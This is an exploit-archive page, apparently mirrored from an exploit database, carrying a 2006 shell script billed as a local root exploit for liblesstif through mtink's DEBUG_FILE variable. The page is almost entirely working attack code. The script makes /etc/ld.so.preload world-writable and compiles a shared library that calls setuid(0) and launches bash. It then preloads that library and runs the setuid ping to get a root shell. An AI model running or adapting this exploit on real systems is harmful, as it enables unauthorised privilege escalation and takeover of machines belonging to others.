[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : liblesstif <= 2-0.93.94-4mdk (DEBUG_FILE) Local Root Exploit
# Published : 2006-08-08
# Author : Karol Wiesek
# Previous Title : Mac OS X <= 10.4.7 fetchmail Privilege Escalation Exploit
# Next Title : Open Cubic Player <= 2.6.0pre6 / 0.1.10_rc5 Multiple BOF Exploit
#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
if (getuid()!=0 && geteuid()==0)
{
setuid(0);
unlink("/etc/ld.so.preload");
execl("/bin/bash", "bash", 0);
}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping
# www.Syue.com [2006-08-08]